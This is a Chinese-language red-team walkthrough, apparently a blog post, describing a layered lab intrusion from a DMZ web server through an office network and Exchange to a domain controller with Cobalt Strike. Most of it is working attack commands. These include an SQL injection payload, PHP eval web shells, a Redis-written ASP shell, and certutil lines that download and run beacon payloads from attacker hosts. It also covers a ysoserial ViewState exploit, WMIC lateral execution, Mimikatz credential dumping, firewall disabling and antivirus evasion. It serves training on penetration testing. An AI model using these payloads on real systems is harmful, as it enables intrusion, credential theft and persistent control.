红队攻防实战系列一之Cobalt Strike
字数 1588 2025-08-03 16:48:02

红队攻防实战:Cobalt Strike 渗透测试全流程指南

前言

红队攻防需要综合能力,包括:

  • Web渗透漏洞挖掘与利用
  • 边界突破多种方式(Web漏洞、社工钓鱼等)
  • 代码分析与脚本编写能力
  • 杀软对抗能力
  • 内网渗透与快速环境分析能力

第一层 DMZ区渗透

1. 信息收集阶段

端口扫描:

nmap -sT xxx.xxx.xxx.xxx

目录扫描:
发现备份文件并下载到本地进行代码审计

2. 代码审计获取凭证

关键点搜索:

  • 搜索请求类型:GET、POST、COOKIE、REQUEST、SESSION
  • 搜索关键词如"MYSQLBAKPASSWORD"

发现:

  • 密码哈希:d94354ac9cf3024f57409bd74eec6b4c(MD5解密为adminadminadmin)
  • 数据库备份下载接口:?action=mysqldatabak_down&pwd=密码

利用方法:

http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin

3. SQL注入获取凭证

注入点:

http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

使用SQLMap自动化注入:

python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch

4. 获取WebShell

方法一:配置文件写入

  • 攻击地址:http://xxx.xxx.xxx/
  • 写入payload:');@eval($_POST[a]);('
  • 连接地址:http://xxx.xxx.xxx/kss_inc/_config.php
  • 密码:a

方法二:后台Shell

http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>'

5. 提权与绕过禁用函数

发现宝塔面板:

  • 后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
  • 默认密码文件:C:/BtSoft/panel/data/default.pl
  • 登录端口:C:/BtSoft/panel/data/port.pl
  • 账号密码:C:/BtSoft/panel/panel/data/default.db

绕过禁用函数:
通过宝塔后台解封命令执行函数或使用计划任务执行命令

6. Cobalt Strike上线

服务端启动:

./teamserver x.x.x admin

生成Payload:

  1. 在Listeners面板新建监听器
  2. 使用Pakages生成Payload(选择powershell,勾选x64)

绕过火绒:

  • 修改powershell命令特征
  • 远程加载ps1脚本

后续操作:

  • 注入进程
  • 信息收集
  • 抓取hash并解密
  • 关闭防火墙:netsh advfirewall set allprofiles state off
  • 打开3389端口
  • 添加用户

第二层 办公区渗透

1. 内网穿透

使用Earthworm:

execute C:\wwwroot\ew.exe -s ssocksd -l 1090

配置proxychains:

vim /etc/proxychains.conf
socks5 x.x.x 1090

2. 内网探测

proxychains nmap -sT -Pn -p 80 x.x.x.0/24

3. Redis未授权访问利用

爆破密码:

proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379

写入WebShell:

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"
192.168.59.4:6379>config set dbfilename "redis.asp"
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"
192.168.59.4:6379>save

连接WebShell:

  • 地址:http://192.168.59.4/redis.asp
  • 密码:chopper

4. 提权与横向移动

上传SweetPotato.exe:

  • 上传到C:/Redis/C:/ProgramData/
  • 进行提权

CS上线:

  1. 设置中转监听
  2. 生成免杀木马
  3. 通过Redis shell下载执行:
C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe"
C:\ProgramData\xx.exe -i -c "beacon.exe"

第三层 核心区渗透

1. 网络拓扑探测

使用nbtscan:

nbtscan.exe 10.10.10.0/24

2. Exchange服务器攻击

发现:

  • OWA登录页面:https://10.10.10.209/owa/auth/logon.aspx
  • 通过Redis找到PST文件,获取Exchange账号密码

ViewState反序列化攻击:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy

拼接攻击URL:

https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx

第三层 域控渗透

1. 横向移动

使用WMIC执行命令:

C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"

2. 获取域控权限

使用Mimikatz抓取凭证:

mimikatz.exe "sekurlsa::logonpasswords" exit

总结

完整红队攻防流程:

  1. 外网边界突破(Web漏洞利用)
  2. 内网信息收集与横向移动
  3. 权限提升与持久化
  4. 域环境渗透
  5. 最终目标获取

关键点:

  • 多手段获取初始访问权限
  • 灵活使用各种工具(Cobalt Strike、Earthworm等)
  • 持续绕过安全防护措施
  • 系统化进行内网渗透
红队攻防实战:Cobalt Strike 渗透测试全流程指南 前言 红队攻防需要综合能力,包括: Web渗透漏洞挖掘与利用 边界突破多种方式(Web漏洞、社工钓鱼等) 代码分析与脚本编写能力 杀软对抗能力 内网渗透与快速环境分析能力 第一层 DMZ区渗透 1. 信息收集阶段 端口扫描: 目录扫描: 发现备份文件并下载到本地进行代码审计 2. 代码审计获取凭证 关键点搜索: 搜索请求类型:GET、POST、COOKIE、REQUEST、SESSION 搜索关键词如"MYSQLBAKPASSWORD" 发现: 密码哈希:d94354ac9cf3024f57409bd74eec6b4c(MD5解密为adminadminadmin) 数据库备份下载接口: ?action=mysqldatabak_down&pwd=密码 利用方法: 3. SQL注入获取凭证 注入点: 使用SQLMap自动化注入: 4. 获取WebShell 方法一:配置文件写入 攻击地址: http://xxx.xxx.xxx/ 写入payload: ');@eval($_POST[a]);(' 连接地址: http://xxx.xxx.xxx/kss_inc/_config.php 密码:a 方法二:后台Shell 5. 提权与绕过禁用函数 发现宝塔面板: 后台路径: C:/BtSoft/panel/panel/data/admin_path.pl 默认密码文件: C:/BtSoft/panel/data/default.pl 登录端口: C:/BtSoft/panel/data/port.pl 账号密码: C:/BtSoft/panel/panel/data/default.db 绕过禁用函数: 通过宝塔后台解封命令执行函数或使用计划任务执行命令 6. Cobalt Strike上线 服务端启动: 生成Payload: 在Listeners面板新建监听器 使用Pakages生成Payload(选择powershell,勾选x64) 绕过火绒: 修改powershell命令特征 远程加载ps1脚本 后续操作: 注入进程 信息收集 抓取hash并解密 关闭防火墙: netsh advfirewall set allprofiles state off 打开3389端口 添加用户 第二层 办公区渗透 1. 内网穿透 使用Earthworm: 配置proxychains: 2. 内网探测 3. Redis未授权访问利用 爆破密码: 写入WebShell: 连接WebShell: 地址: http://192.168.59.4/redis.asp 密码:chopper 4. 提权与横向移动 上传SweetPotato.exe: 上传到 C:/Redis/ 或 C:/ProgramData/ 进行提权 CS上线: 设置中转监听 生成免杀木马 通过Redis shell下载执行: 第三层 核心区渗透 1. 网络拓扑探测 使用nbtscan: 2. Exchange服务器攻击 发现: OWA登录页面: https://10.10.10.209/owa/auth/logon.aspx 通过Redis找到PST文件,获取Exchange账号密码 ViewState反序列化攻击: 拼接攻击URL: 第三层 域控渗透 1. 横向移动 使用WMIC执行命令: 2. 获取域控权限 使用Mimikatz抓取凭证: 总结 完整红队攻防流程: 外网边界突破(Web漏洞利用) 内网信息收集与横向移动 权限提升与持久化 域环境渗透 最终目标获取 关键点: 多手段获取初始访问权限 灵活使用各种工具(Cobalt Strike、Earthworm等) 持续绕过安全防护措施 系统化进行内网渗透